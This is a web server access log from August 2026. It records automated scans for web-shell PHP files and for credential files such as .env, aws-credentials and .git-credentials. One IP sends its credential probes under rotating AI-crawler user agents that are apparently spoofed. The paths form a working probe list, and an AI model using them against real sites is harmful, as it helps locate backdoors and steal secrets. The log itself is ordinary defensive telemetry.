20.203.148.31 - - [03/Aug/2026:16:45:54 -0700] "GET /maint.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11729**
20.203.148.31 - - [03/Aug/2026:16:45:54 -0700] "GET /files.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4787**
20.203.148.31 - - [03/Aug/2026:16:45:54 -0700] "GET /gecko.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19643**
20.203.148.31 - - [03/Aug/2026:16:45:54 -0700] "GET /zwso.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5154**
20.203.148.31 - - [03/Aug/2026:16:45:55 -0700] "GET /13.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 3 **0/3678**
20.203.148.31 - - [03/Aug/2026:16:45:55 -0700] "GET /ava.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6727**
20.203.148.31 - - [03/Aug/2026:16:45:55 -0700] "GET /main.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6278**
20.203.148.31 - - [03/Aug/2026:16:45:55 -0700] "GET /wp-file.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4230**
20.203.148.31 - - [03/Aug/2026:16:45:55 -0700] "GET /wp-signin.php HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5446**
20.203.148.31 - - [03/Aug/2026:16:45:56 -0700] "GET /simi.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8976**
20.203.148.31 - - [03/Aug/2026:16:45:56 -0700] "GET /wp-conf.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5770**
20.203.148.31 - - [03/Aug/2026:16:45:56 -0700] "GET /WZGHHra0r3.php HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4520**
20.203.148.31 - - [03/Aug/2026:16:45:56 -0700] "GET /bala.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5930**
20.203.148.31 - - [03/Aug/2026:16:45:56 -0700] "GET /bk.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4636**
20.203.148.31 - - [03/Aug/2026:16:45:57 -0700] "GET /ahax.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6197**
94.154.43.185 - - [03/Aug/2026:17:01:28 -0700] "GET / HTTP/2.0" 200 6970 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 5 **0/5776**
20.100.187.246 - - [03/Aug/2026:18:30:14 -0700] "GET /12.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17493**
20.100.187.246 - - [03/Aug/2026:18:30:15 -0700] "GET /inputs.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16840**
20.100.187.246 - - [03/Aug/2026:18:30:16 -0700] "GET /file.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7332**
20.100.187.246 - - [03/Aug/2026:18:30:16 -0700] "GET /goods.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5974**
20.100.187.246 - - [03/Aug/2026:18:30:16 -0700] "GET /ms-edit.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7201**
20.100.187.246 - - [03/Aug/2026:18:30:16 -0700] "GET /bgymj.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 29 **0/29599**
20.100.187.246 - - [03/Aug/2026:18:30:17 -0700] "GET /wp-content/plugins/twenty/amax.php HTTP/2.0" 403 10874 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6454**
20.100.187.246 - - [03/Aug/2026:18:30:17 -0700] "GET /404.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22285**
20.100.187.246 - - [03/Aug/2026:18:30:17 -0700] "GET /file3.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6854**
20.100.187.246 - - [03/Aug/2026:18:30:17 -0700] "GET /wp-mail.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7634**
20.100.187.246 - - [03/Aug/2026:18:30:17 -0700] "GET /about.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 25 **0/25110**
20.100.187.246 - - [03/Aug/2026:18:30:18 -0700] "GET /wp.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17036**
20.100.187.246 - - [03/Aug/2026:18:30:18 -0700] "GET /.dj/index.php HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7078**
20.100.187.246 - - [03/Aug/2026:18:30:18 -0700] "GET /adminfuns.php HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18629**
20.100.187.246 - - [03/Aug/2026:18:30:18 -0700] "GET /php8.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17355**
20.100.187.246 - - [03/Aug/2026:18:30:18 -0700] "GET /classwithtostring.php HTTP/2.0" 403 10861 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7263**
20.100.187.246 - - [03/Aug/2026:18:30:19 -0700] "GET /info.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7894**
20.100.187.246 - - [03/Aug/2026:18:30:19 -0700] "GET /ioxi-o.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8377**
20.100.187.246 - - [03/Aug/2026:18:30:19 -0700] "GET /166.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6951**
20.100.187.246 - - [03/Aug/2026:18:30:19 -0700] "GET /wp-mail.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19724**
20.100.187.246 - - [03/Aug/2026:18:30:20 -0700] "GET /leaf.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8292**
20.100.187.246 - - [03/Aug/2026:18:30:20 -0700] "GET /grsiuk.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12603**
20.100.187.246 - - [03/Aug/2026:18:30:20 -0700] "GET /8.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7494**
20.100.187.246 - - [03/Aug/2026:18:30:20 -0700] "GET /fs.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5494**
20.100.187.246 - - [03/Aug/2026:18:30:20 -0700] "GET /ws38.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6480**
20.100.187.246 - - [03/Aug/2026:18:30:21 -0700] "GET /a7.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23696**
20.100.187.246 - - [03/Aug/2026:18:30:21 -0700] "GET /classsmtps.php HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11945**
20.100.187.246 - - [03/Aug/2026:18:30:21 -0700] "GET /amax.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 9 **0/9807**
20.100.187.246 - - [03/Aug/2026:18:30:22 -0700] "GET /CDX1.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27 **0/27265**
20.100.187.246 - - [03/Aug/2026:18:30:22 -0700] "GET /rip.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6510**
20.100.187.246 - - [03/Aug/2026:18:30:22 -0700] "GET /1.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7266**
20.100.187.246 - - [03/Aug/2026:18:30:22 -0700] "GET /chosen.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 10 **0/10895**
20.100.187.246 - - [03/Aug/2026:18:30:22 -0700] "GET /css.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13130**
20.100.187.246 - - [03/Aug/2026:18:30:23 -0700] "GET /php.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 9 **0/9336**
20.100.187.246 - - [03/Aug/2026:18:30:23 -0700] "GET /wp-content/plugins/beteng88/ws83.php HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7340**
20.100.187.246 - - [03/Aug/2026:18:30:23 -0700] "GET /ws83.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11831**
20.100.187.246 - - [03/Aug/2026:18:30:23 -0700] "GET /sadcut1.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14743**
20.100.187.246 - - [03/Aug/2026:18:30:23 -0700] "GET /y.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19370**
20.100.187.246 - - [03/Aug/2026:18:30:24 -0700] "GET /akcc.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5920**
20.100.187.246 - - [03/Aug/2026:18:30:24 -0700] "GET /wp-admin/user/12.php HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6948**
20.100.187.246 - - [03/Aug/2026:18:30:24 -0700] "GET /index/function.php HTTP/2.0" 403 10858 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6951**
20.100.187.246 - - [03/Aug/2026:18:30:24 -0700] "GET /term.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6282**
20.100.187.246 - - [03/Aug/2026:18:30:25 -0700] "GET /666.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 10 **0/10202**
20.100.187.246 - - [03/Aug/2026:18:30:25 -0700] "GET /7.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7371**
20.100.187.246 - - [03/Aug/2026:18:30:25 -0700] "GET /log.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 214 **0/214081**
20.100.187.246 - - [03/Aug/2026:18:30:25 -0700] "GET /a5.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8480**
20.100.187.246 - - [03/Aug/2026:18:30:25 -0700] "GET /aa.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15254**
20.100.187.246 - - [03/Aug/2026:18:30:26 -0700] "GET /bolt.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11859**
20.100.187.246 - - [03/Aug/2026:18:30:26 -0700] "GET /x.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6461**
20.100.187.246 - - [03/Aug/2026:18:30:26 -0700] "GET /jga.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7876**
20.100.187.246 - - [03/Aug/2026:18:30:26 -0700] "GET /k.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5777**
20.100.187.246 - - [03/Aug/2026:18:30:26 -0700] "GET /vx.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5940**
20.100.187.246 - - [03/Aug/2026:18:30:27 -0700] "GET /ws77.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15088**
20.100.187.246 - - [03/Aug/2026:18:30:27 -0700] "GET /2.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17507**
20.100.187.246 - - [03/Aug/2026:18:30:27 -0700] "GET /abcd.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6297**
20.100.187.246 - - [03/Aug/2026:18:30:27 -0700] "GET /wp-content/user/12.php HTTP/2.0" 403 10862 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11509**
20.100.187.246 - - [03/Aug/2026:18:30:27 -0700] "GET /asd.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12442**
20.100.187.246 - - [03/Aug/2026:18:30:28 -0700] "GET /default.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24860**
20.100.187.246 - - [03/Aug/2026:18:30:28 -0700] "GET /gettest.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7151**
20.100.187.246 - - [03/Aug/2026:18:30:28 -0700] "GET /install.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19350**
20.100.187.246 - - [03/Aug/2026:18:30:28 -0700] "GET /tfm.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6611**
20.100.187.246 - - [03/Aug/2026:18:30:28 -0700] "GET /ws81.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7186**
20.100.187.246 - - [03/Aug/2026:18:30:29 -0700] "GET /222.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8136**
20.100.187.246 - - [03/Aug/2026:18:30:29 -0700] "GET /t.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14714**
20.100.187.246 - - [03/Aug/2026:18:30:29 -0700] "GET /wp-admin/maint.php HTTP/2.0" 403 10858 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5776**
20.100.187.246 - - [03/Aug/2026:18:30:29 -0700] "GET /6xBAm3vODE05BSzkJZRAws.php HTTP/2.0" 403 10866 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5780**
20.100.187.246 - - [03/Aug/2026:18:30:29 -0700] "GET /a.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6737**
20.100.187.246 - - [03/Aug/2026:18:30:30 -0700] "GET /a1.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5977**
20.100.187.246 - - [03/Aug/2026:18:30:30 -0700] "GET /onclickfuns.php HTTP/2.0" 403 10855 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7909**
20.100.187.246 - - [03/Aug/2026:18:30:30 -0700] "GET /w.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8892**
20.100.187.246 - - [03/Aug/2026:18:30:30 -0700] "GET /wp-admin/maint/about.php HTTP/2.0" 403 10864 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6679**
20.100.187.246 - - [03/Aug/2026:18:30:30 -0700] "GET /wp-content/plugins/num.php HTTP/2.0" 403 10866 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18088**
20.100.187.246 - - [03/Aug/2026:18:30:31 -0700] "GET /wp-good.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7605**
20.100.187.246 - - [03/Aug/2026:18:30:31 -0700] "GET /config.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5791**
20.100.187.246 - - [03/Aug/2026:18:30:31 -0700] "GET /item.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8000**
20.100.187.246 - - [03/Aug/2026:18:30:31 -0700] "GET /m.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6422**
20.100.187.246 - - [03/Aug/2026:18:30:32 -0700] "GET /rh.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 10 **0/10629**
20.100.187.246 - - [03/Aug/2026:18:30:32 -0700] "GET /autoload_classmap.php HTTP/2.0" 403 10861 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6324**
35.234.173.128 - - [03/Aug/2026:19:57:20 -0700] "GET / HTTP/2.0" 200 6986 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 10 **0/10616**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.env.development HTTP/2.0" 200 6988 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 4 **0/4420**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /aws-credentials HTTP/2.0" 200 7038 "-" "anthropic-ai" 2 **0/2389**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.env HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 5 **0/5836**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /aws.yaml HTTP/2.0" 200 6946 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 6 **0/6976**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /admin/.env HTTP/2.0" 403 10850 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 6 **0/6740**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /env.js HTTP/2.0" 200 7029 "-" "anthropic-ai" 6 **0/6567**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /aws.yml HTTP/2.0" 200 6979 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 7 **0/7583**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.git-credentials HTTP/2.0" 200 7070 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 7 **0/7334**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.env.local HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 4 **0/4855**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /aws_credentials HTTP/2.0" 200 7049 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 6 **0/6926**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.aws/config HTTP/2.0" 200 6995 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 7 **0/7379**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /aws.properties HTTP/2.0" 200 7015 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 4 **0/4546**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /aws_credentials.ini HTTP/2.0" 200 7063 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 8 **0/8308**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /aws.json HTTP/2.0" 200 7017 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 10 **0/10366**
